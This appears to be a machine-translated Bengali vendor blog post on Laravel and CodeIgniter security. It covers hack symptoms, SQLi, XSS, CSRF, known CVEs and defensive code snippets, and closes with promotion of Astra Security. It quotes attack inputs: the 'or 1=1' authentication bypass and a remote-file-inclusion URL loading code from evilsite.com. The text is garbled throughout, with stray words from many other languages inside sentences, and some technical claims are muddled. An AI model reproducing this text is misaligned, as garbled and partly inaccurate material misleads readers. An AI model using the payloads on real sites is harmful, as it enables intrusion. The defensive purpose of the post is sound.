Laravel এবং CodeIgniter হলো দুটি জনপ্রিয় ওপেন-সোর্স PHP ফ্রেমওয়ার্ক যা ওয়েবসাইট তৈরিতে ব্যবহৃত হয়। যাইহোক, এই ফ্রেমওয়ার্কগুলো ব্যবহার করে সাইট ডিপ্লয় করলেই সেগুলো নিরাপদ হয় না – সিকিউর ডেভেলপমেন্ট প্র্যাকটিসই বিষয়। CodeIgniter এবং Laravel-এ SQL ইনজেকশন সবচেয়ে সাধারণ সুরক্ষা বিষয় যা হেল্প ফোরামে ট্রেন্ড করছে। SQLi ছাড়া, असুরক্ষিত ডেভেলপমেন্ট প্র্যাকটিস সাইটগুলোক XSS, CSRF, RFI আক্রমণ এবং আরও অনেক thứতে দুর্বল করে তোলে।
Laravel/CodeIgniter হ্যাক করা ওয়েবসাইটের উদাহরণ
CodeIgniter বা Laravel-এ SQL ইনজেকশন মতো সাধারণ এবং ব্যাপক আক্রমণ ওয়েবসাইটকে কম্প্রোমাইজ করতে পারে। অনুরূপ আক্রমণের শিকার প্রচুর ব্যবহারকারী Laravel কমিউনিটি ফোরাম বা CodeIgniter কমিউনিটি ফোরামে সাহায্য চেয়ে থাকেন – কিছু উদাহরণ নিচে দেওয়া হলো:
CodeIgniter বা Laravel হ্যাকের লক্ষণ
- আপনার ওয়েবসাইটে Laravel বা CodeIgniter ফিশিং পেজ পাওয়া যায় যা সংবেদনশীল তথ্য চুরি করার জন্য ডিজাইন করা।
- ব্যবহারকারীরা ম্যালিশিয়াস সাইটে রিডাইরেক্ট হওয়ার অভিযোগ করছে।
- জাপানিজ কিওয়ার্ড হ্যাক বা ফার্মা হ্যাক ইত্যাদির কারণে আপনার Laravel বা CodeIgniter সাইটে বেজবানি কন্টেন্ট দেখা যাচ্ছে।
- আপনার Laravel বা CodeIgniter ওয়েবসাইট খুব ধীর হয়ে গেছে এবং এরর মেসেজ দেখাচ্ছে।
- থার্ড-পার্টি হোস্টিং ব্যবহার করার সময় 'Your account has been suspended!' মেসেজ দেখা যাচ্ছে।
- আপনার Laravel বা CodeIgniter সাইট সার্চ ইঞ্জিন দ্বারা ব্ল্যাকলিস্টেড হয়েছে।
- এরর লগে আপনার সাইটে SQL ইনজেকশন মতো আক্রমণ দেখা যাচ্ছে।
- লগে আপনার ওয়েবসাইটে রিমোট IP থেকে লগইন দেখা যাচ্ছে।
- আপনার ওয়েবসাইটের লগইন ডাটাবেসে নতুন, রগ অ্যাডমিনরা দেখা যাচ্ছে।
সাধারণ দুর্বলতা এবং হ্যাক
১) CodeIgniter/Laravel-এ ইনজেকশন আক্রমণ
ক) SQL ইনজেকশন
CodeIgniter-এ SQL ইনজেকশন একটি খুব সাধারণ, ব্যাপকভাবে প্রাচলিত আক্রমণ। নামটিই ইঙ্গিত দেয়, আক্রমণটি সার্ভারের ডাটাবেসকে লক্ষ্য করে। CodeIgniter-এ SQL ইনজেকশন শোষণ করে, আক্রমণকারী:
- ডাটাবেস থেকে ডেটা পুনরুদ্ধার করতে পারে।
- ডাটাবেসের কন্টেন্ট এডিট করতে পারে। সারা ডাটাবেসই ড্রপ করতে পারে!
- কিছু ক্ষেত্রে, রিভার্স শেল পেতে পারে।
or 1=1এর মতো ইনপুট ব্যবহার করে অথেন্টিকেশন বাইপাস করতে পারে।
খ) PHP কোড ইনজেকশন
PHP কোড ইনজেকশন আরেকটি সাধারণ দুর্বলতা যা আক্রমণকারীদের Laravel/CodeIgniter ওয়েবসাইটে কোড এক্সিকিউট করার অনুমতি দেয়। যাইহোক, এটি কমান্ড ইনজেকশন থেকে আলাদা কারণ আক্রমণকারী কেবল সেই নির্দিষ্ট ল্যাঙ্গুয়েজের কমান্ড এক্সিকিউট করতে পারে।
কমান্ড ইনজেকশন আক্রমণকারীকে রিভার্স শেলের মাধ্যমে কমান্ড এক্সিকিউট করার অনুমতি দেয়। উদাহরণস্বরূপ, দুর্বল প্যারামিটারটিতে একটি ম্যালিশিয়াস ফাইলের লিংক সরবরাহ করা যেতে পারে যাতে PHP কোড এক্সিকিউট করা যায়, যেমন https://testsite.com/?page=https://evilsite.com/evilcode.php।
এই ফাইলে phpinfo() এর মতো ফাংশন থাকতে পারে, যা তথ্য získাতে ব্যবহার করা যেতে পারে।
২) ক্রস-সাইট স্ক্রিপ্টিং (XSS)
Laravel/CodeIgniter ওয়েবসাইটে XSS দুর্বলতা ইনপুট স্যানিটাইজেশনের অভাবের কারণে হয়। উভয় ফ্রেমওয়ার্কেরই এই আক্রমণ এড়ানোর জন্য ספেসিফিক সিকিউরিটি ফাংশন রয়েছে। XSS আক্রমণ শোষণ করে আক্রমণকারী:
- কুকি এবং অন্যান্য সংবেদনশীল সেশন ডেটা চুরি করতে ব্যবহারকারীদের ফিশ করতে পারে।
- ব্যবহারকারীদের ম্যালিশিয়াস সাইটে রিডাইরেক্ট করতে পারে।
- সেম-অরিজিন পলিসি বাইপাস করতে পারে।
৩) ক্রস-সাইট রিকোয়েস্ট ফোরজারি (CSRF)
এই আক্রমণ ব্যবহারকারীদের অপ্রত্যাশিত অ্যাকশন সম্পাদন করতে ফাঁসানোর লক্ষ্যে। যাইহোক, এটি কেবল ডেটা ম্যানিপুলেট করতে ব্যবহার করা যায় (ফর্ম ডিলিট করা যেমন) কিন্তু ডেটা চুরি বা পড়া যায় না। খারাপ পরিস্থিতিতে, যদি শিকার অ্যাডমিন হয়, তবে পুরো অ্যাপ্লিকেশন ধ্বংস করা যায়। এই আক্রমণ সোশ্যাল ইঞ্জিনিয়ারিং ট্রিক ব্যবহার করে শিকারকে একটি লিংকে ক্লিক করাতে বাধা দেয় যেটি ব্যাকগ্রাউন্ডে অ্যাকাউন্ট ডিলিট করার মতো কমান্ড এক্সিকিউট করে।
এই সাধারণ দুর্বলতাগুলোর পাশাপাশি, CodeIgniter এবং Laravel-এ কিছু নির্দিষ্ট দুর্বলতা রয়েছে:
৪) CodeIgniter-এ পরিচিত দুর্বলতা
- প্রivilেজ এস্কেলেশন (CVE-2020-10793):
CodeIgniter 4.0.0 ভার্সন পর্যন্ত রিমোট আক্রমণকারী "Select Role of the User" পেজে মডিফাইড ইমেইল ID দিয়ে প্রিভিলেজ পেতে পারে। - সেশন ফিক্সেশন (CVE-2018-12071):
CodeIgniter 3.1.9-এর আগের ভার্সনে সেশন ফিক্সেশন ইস্যু রয়েছে কারণ Session Library-এsession.use_strict_modeভুলভাবে হ্যান্ডল করা হয়েছিল। - XML এক্সটার্নাল এন্টিটি ইস্যু (CVE-2015-3907):
CodeIgniter Rest Server (codeigniter-restserver) 2.7.1 XXE আক্রমণের আশ্রয়স্থল।
৫) Laravel-এ পরিচিত দুর্বলতা
- ডিবাগ মোড: রিমোট কোড এক্সিকিউশন (CVE-2021-3129)
2020 সালের নভেম্বরের শেষে Laravel CMS-এ (ভার্সন Laravel <= v8.4.2) RCE দুর্বলতা আবিষ্কৃত হয়েছে। (স্রোত)
- তথ্য এক্সপোজার (CVE-2020-13909):
Laravel-এর জন্য Ignition পেজ 2.0.5-এর আগের ভার্সনে globals, _get, _post, _cookie, এবং _env মিসহ্যান্ডেল করে। এটি একটি রিমোট আক্রমণকারীকে সম্ভাব্য সংবেদনশীল তথ্যে অ্যাক্সেস দেয়। - ডিসিরিয়ালাইজেশন (CVE-2019-9081):
Laravel Framework 5.7.x-এর Illuminate কম্পোনেন্টে একটি ডিসিরিয়ালাইজেশন দুর্বলতা রয়েছে যা রিমোট কোড এক্সিকিউশনে vezetতে পারে যদি কন্টেন্ট নিয়ন্ত্রণযোগ্য হয়, PendingCommand.php-এ PendingCommand ক্লাসের__destructমেথড সংক্রান্ত।
আপনার Laravel বা CodeIgniter ব্যবহার করা ওয়েবসাইট হ্যাক হয়েছে? চ্যাট উইজেটে আমাদের মেসেজ ড্রপ করুন।
আপনার CodeIgniter/Laravel ওয়েবসাইট রক্ষা করা
CodeIgniter-এ SQL ইনজেকশন এড়ানো
CodeIgniter অনেক সিকিউরিটি ফিচারের সাথে আসে। 그중 কিছু SQL ইনজেকশন এড়ানোর ফাংশন এবং লাইব্রেরি। এখানে তিনটি উপায় দেওয়া হলো যেগুলো ব্যবহার করে আপনি আক্রমণ এড়াতে পারেন:
১. CodeIgniter-এ কোয়েরি এস্কেপ করা
PHP অ্যাপ্লিকেশনে জমা দেওয়ার আগে ডেটা এস্কেপ করলে সেটি স্যানিটাইজ হয়। এটি একটি সিকিউরিটি প্র্যাকটিস যা নিয়মিত অনুসরণ করতে হয়। কোয়েরি এস্কেপ তিনটি পদ্ধতিতে করা যায়:
- $this->db->escape(): এস্কেপ করার আগে ডেটা টাইপ নির্ধারণ করে
- $this->db->escape_str(): ডেটা টাইপ নির্ধারণ করে না, সিম্পলি এস্কেপ করে।
- $this->db->escape_like_str(): কন্ডিশনের সাথে ব্যবহার করা যায়।
উদাহরণস্বরূপ, নিচের কোড স্নিপেটটি দেখুন।
<?php
$email= $this->input->post('email');
$query = 'SELECT * FROM subscribers_tbl WHERE user_name='.$this->db->escape($email);
$this->db->query($query);
?>
এই কোডে, $this->db->escape() ফাংশনটি প্রথমে ডেটা টাইপ নির্ধারণ করে শুধু স্ট্রিং ডেটা এস্কেপ করে। এটি অটোমেটিক্যালি ইনপুট ডেটার চারপাশে সিঙ্গেল কোট যোগ করে। এটি CodeIgniter-এ SQL ইনজেকশন প্রতিরোধ করে।
২. CodeIgniter-এ কোয়েরি বাইন্ডিং
ইনপুট স্যানিটাইজ করার পাশাপাশি, কোয়েরি বাইন্ডিং CodeIgniter ওয়েবসাইটে কোড সিম্পলিফাই করতে পারে। এই পদ্ধতিতে সিস্টেম কোয়েরি বসাতে দেয়, যা ডেভেলপারের জটিলতা কমানো। উদাহরণস্বরূপ, নিচের কোড স্নিপেটটি দেখুন:
<?php $sql = "SELECT * FROM subscribers_tbl WHERE status = ? AND email= ?"; $this->db->query($sql, array('active', 'admin@wsxdn.com'));?>
এখানে, প্রথম লাইনে ভ্যালুয়ের বদলে কয়েকটি কয়েশন মার্ক থাকতে পারে। কোয়েরি বাইন্ডিংয়ের কারণে এই কয়েশন মার্কগুলো দ্বিতীয় লাইনের অ্যারে থেকে ভ্যালু দিয়ে রিপ্লেস হয়। আগের উদাহরণে আমরা ম্যানুয়াল কোয়েরি এস্কেপিং দেখেছিলাম। এখানে এই পদ্ধতিটি সেটি অটোমেটিক্যালি করে, তাই CodeIgniter-এ SQL ইনজেকশন রুকে।
৩. CodeIgniter-এ Active Class Record
CodeIgniter-এর Active Records ফিচার আমাদের ন্যূনতম লাইন অফ কোড বা স্ক্রিপ্টিং দিয়ে ডাটাবেস অপারেশন করতে দেয়। যেহেতু এটি সিস্টেমের নিজস্ব ফাংশন, তাই কোয়েরি এস্কেপিং অটোমেটিক্যালি হয়। উদাহরণস্বরূপ, একটি টেবিলের সारा ডেটা একটি সিম্পল কোয়েরি দিয়ে রিট্রিভ করা যায়:
$query = $this->db->get('mytable');
Laravel-এ SQL ইনজেকশন এড়ানো
Laravel-এ অবজেক্ট-রিলেশনাল ম্যাপিং PHP অবজেক্ট ডেটা বাইন্ডিং ব্যবহার করে ইউজার ইনপুট স্যানিটাইজ করে যা вместоে SQL ইনজেকশন Laravel রোধ করে। প্যারামিটার বাইন্ডিং অটোমেটিক্যালি কোট যোগ করে, তাই or 1=1 এর মতো বিপজ্জনক ইনপুট অথেন্টিকেশন বাইপাস করতে পারে না।
এখানে Laravel-এ একটি নামড বাইন্ডিং কোয়েরির ইমপ্লিমেন্টেশন দেওয়া হলো:
$results = DB::select('select * from users where id = :id', ['id' => 1]);
CodeIgniter-এ ক্রস-সাইট স্ক্রিপ্টিং এড়ানো
সম্ভাব্য XSS আক্রমণ প্রতিরোধের জন্য CodeIgniter একটি বিল্ট-ইন XSS ফিল্টার দিয়ে আসে। যদি এই ফিল্টার কোনো ম্যালিশিয়াস অনুরোধ পায়, তবে সেটি ক্যারেক্টার এন্টিটিতে কনভার্ট করে অ্যাপ্লিকেশনকে সুরক্ষিত রাখে। এই ফিল্টার xss_clean() মেথড দিয়ে অ্যাক্সেস করা যায়:
$data = $this->security->xss_clean($data);
যাইহোক, কখনো কখনো আক্রমণকারী ইমেজ ফাইলের ভিতরে ম্যালিশিয়াস কোড ইনজেক্ট করতে পারে। এগুলো রোধের জন্য আপলোড করা ফাইলগুলোকেও সিকিউরিটি চেক করা যায়। উদাহরণস্বরূপ, নিচের কোডটি দেখুন:
if ($this->security->xss_clean($file, TRUE) === FALSE)
{
// ফাইল XSS টেস্টে ফেল করেছে
}
এই কোড True বুলিয়ান ভ্যালু রিটার্ন করবে যদি ইমেজটি সুরক্ষিত হয়, অন্যথায় False। যাইহোক, এখানে উল্লেখ্য যে আপনি যদি HTML অ্যাট্রিবিউট ভ্যালু ফিল্টার করতে চান তবে html_escape() মেথড ব্যবহার করা পরামর্শদায়ক।
Laravel-এ ক্রস-সাইট স্ক্রিপ্টিং এড়ানো
এস্কেপ স্ট্রিং ব্যবহার করে Laravel ওয়েবসাইটে XSS আক্রমণ এড়ানো যায়। এস্কেপ স্ট্রিং আনস্যানিটাইজড ইনপুট ইমপ্লিমেন্ট হওয়া থেকে রোধ করে। Laravel 5.1-এর উপরের ভার্সনে এই ফিচার ডিফল্টলি সক্রিয় থাকে। তাই, যখন <div>{{ $task->names }}</div> এর মতো ইনপুট Laravel 5.1-এর উপরের ভার্সনে দেওয়া হয়, তখন অটোমেটিক কোয়েরি এস্কেপিং-এর কারণে অ্যাপ্লিকেশন দুর্বল হয় না।
ব্যবহারকারী-সাপ্লাইড ইনপুটের দৈর্ঘ্য লিমিট করাও কিছু ধরনের XSS এবং SQLi আক্রমণ রোধ করতে পারে। এটি HTML কোড দিয়ে করা যায়:
<input type="text" name="task" maxlength="10">
এটি JS ফাংশন দিয়েও ইমপ্লিমেন্ট করা যায়। Laravel-এ {% raw %} {{}} {% endraw %} সিনট্যাক্স ডিফল্টলি যেকোনো ম্যালিশিয়াস HTML এন্টিটি এস্কেপ করতে পারে।
কিছু লাইব্রেরি আছে যা ספেসিফিক্যালি Laravel XSS রোধের জন্য ডিজাইন করা। আপনি যদি Blade-এর মতো টেমপ্লেট ইঞ্জিন ব্যবহার করেন, তবে এটি অটোমেটিক্যালি এস্কেপিং ব্যবহার করে এই ধরনের আক্রমণ রোধ করে।
CodeIgniter-এ CSRF আক্রমণ প্রতিরোধ
CodeIgniter-এ CSRF প্রোটেকশন application/config/config.php ফাইল এডিট করে সক্রিয় করা যায়। নিচের কোডটি ফাইলে অ্যাপেন্ড করুন:
$config['csrf_protection'] = TRUE;
আপনি যদি Form Helper ব্যবহার করেন, তবে form_open() ফাংশন ব্যবহার করে ফর্মে ডিফল্টলি একটি হিডেন CSRF টোকেন ফিল্ড ইনসার্ট করতে পারেন। CSRF প্রোটেকশন ইমপ্লিমেন্ট করার আরেকটি উপায় হলো get_csrf_token_name() এবং get_csrf_hash() ব্যবহার করা। রেফারেন্সের জন্য নিচে একটি ফর্ম এবং সার্ভার-সাইড ইমপ্লিমেন্টেশনের দুটি কোড স্নিপেট দেওয়া হলো:
<input type="hidden" name="<?=$csrf['name'];?>" value="<?=$csrf['hash'];?>" />
——————————————————————–
$csrf = array(
'name' => $this->security->get_csrf_token_name(),
'hash' => $this->security->get_csrf_hash());
টোকেন রিজেনারেশনও CSRF আক্রমণ রোধের একটি সুরক্ষিত প্র্যাকটিস। যাইহোক, টোকেন রিজেনারেশন সমস্যা সৃষ্টি করতে পারে কারণ ব্যবহারকারীদের অন্যান্য ট্যাবে নেভিগেট করার পর রি-ভ্যালিডেশন দরকার হতে পারে। টোকেন রিজেনারেশন নিচের কনফিগ প্যারামিটার দিয়ে করা যায়:
$config['csrf_regenerate'] = TRUE;
Laravel-এ CSRF আক্রমণ প্রতিরোধ
Laravel ফর্মে CSRF আক্রমণ থেকে রক্ষার জন্য টোকেন ইমপ্লিমেন্ট করা থাকে। এই টোকেনগুলো AJAX কল দিয়ে কল করা হয় যা প্রতিটি ফর্মে এমবেডেড থাকে। রিকোয়েস্ট টোকেন থেকে ডেটা সার্ভারে সংরক্ষিত ব্যবহারকারীর সেশনের সাথে মিলিয়ে যাচাই করা হয়। CSRF টোকেন ফর্মে পাস করা যায় নিচের কোড দিয়ে (Blade টেমপ্লেট ইমপ্লিমেন্টেশন):
<form name="CSRF Implementation">
{!! csrf_field() !!}
<!-- Other inputs can come here-->
</form>
যাইহোক, LaravelCollective/HTML প্যাকেজ ব্যবহার করার সময় CSRF টোকেন ডিফল্টলি যোগ হয়।
CodeIgniter-এ এরর রিপোর্টিং ব্লক করা
ফাইল এরর ডেভেলপমেন্ট এনভায়রনমেন্টে হেল্পফুল। যাইহোক, ওয়েবে CodeIgniter ফাইল এরর আক্রমণকারীদের কাছে সম্ভাব্য সংবেদনশীল তথ্য লিক করতে পারে। তাই এরর রিপোর্টিং অফ করা একটি সेफ প্র্যাকটিস।
PHP এরর
PHP এরর রিপোর্টিং অফ করতে index.php ফাইল ব্যবহার করুন। error_reporting() ফাংশনে আর্গুমেন্ট হিসেবে শূন্য পাস করুন। রেফারেন্সের জন্য নিচের উদাহরণটি দেখুন:
error_reporting(0);
যাইহোক, CodeIgniter 2.0.1 এবং তার উপরের ভার্সনে, index.php ফাইলের environment কনস্ট্যান্টকে "production" সেট করে PHP এরর আউটপুট ডিজেবল করা যায়।
ডাটাবেস এরর
application/config/database.php ফাইল এডিট করে ডাটাবেস এরর ডিজেবল করা যায়। সিম্পলি db_debug অপশনকে FALSE সেট করুন। রেফারেন্সের জন্য নিচের উদাহরণটি দেখুন:
$db['default']['db_debug'] = FALSE;
এরর লগিং
এটি করার একটি স্মার্ট উপায় হলো ঘটে যাওয়া এররগুলো লগ ফাইলে ট্রান্সফার করা যাতে সেগুলো ডিসপ্লে না হয়। /config/config.php ফাইলের log_threshold অপশনকে ১ সেট করে এটি করা যায়। রেফারেন্সের জন্য নিচের উদাহরণটি দেখুন:
$config['log_threshold'] = 1;
Laravel বা CodeIgniter-এ ওয়েব অ্যাপ্লিকেশন ফায়ারওয়াল ব্যবহার করুন
আক্রমণকারীরা συνεχই আপনার সাইট কম্প্রোমাইজ করার নতুন উপায় খুঁজে পায়। তাই, অন্য একটি সুরক্ষিত প্র্যাকটিস হলো কোনো ফায়ারওয়াল বা সিকিউরিটি সলিউশন ব্যবহার করা। Astra Security একেuvres সিকিউরিটি সলিউশন যা আপনার ফ্লেক্সিবল ডিমান্ড পূরণ করার জন্য ডিজাইন করা। চ্যাট উইজেটে আমাদের মেসেজ ড্রপ করুন এবং আপনার ওয়েবসাইট সিকিউর করার দিকে এক কদম আগে বাড়ুন। এখন ডেমো পান!
Astra Security আপনার Laravel বা CodeIgniter ওয়েবসাইটের জন্য ৮০+ এক্টিভ টেস্ট সহ একটি বিস্তৃত সিকিউরিটি অডিট প্রদান করে, অটোমেটেড এবং ম্যানুয়াল টেস্টিং-এর সঠিক মিশ্রণ।